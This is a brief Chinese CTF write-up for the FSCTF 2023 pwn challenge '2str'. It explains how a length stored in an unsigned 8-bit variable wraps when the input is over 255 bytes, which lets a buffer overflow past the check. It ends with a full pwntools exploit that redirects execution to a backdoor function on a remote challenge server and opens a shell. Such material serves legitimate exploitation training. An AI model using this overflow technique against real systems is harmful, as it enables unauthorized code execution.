【pwn】[FSCTF 2023]2str --整数溢出绕过
检查一下保护状态
接着ida看代码逻辑
看func函数
第一次看真没发现有什么漏洞,题目给了backdoor,虽然strlen可以\x00绕过,但是strcpy函数也限制漏洞的实现。仔细看的话,会发现v3的类型是 unsigned __int8 v3;
说明v3是一个字节来表示的,可表示的范围只有0~255,那这样绕过思路就很清晰了,我们的payload构造长度超过255,不超过265就行,然后就可以绕过if语句的判断
exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node4.anna.nssctf.cn",28587)
payload=b'a'*(0xb9)+b'a'*0x4+p32(0x80492AF)
payload=payload.ljust(260,b'a')
payload+=b'\x00'
io.send(payload)
io.interactive()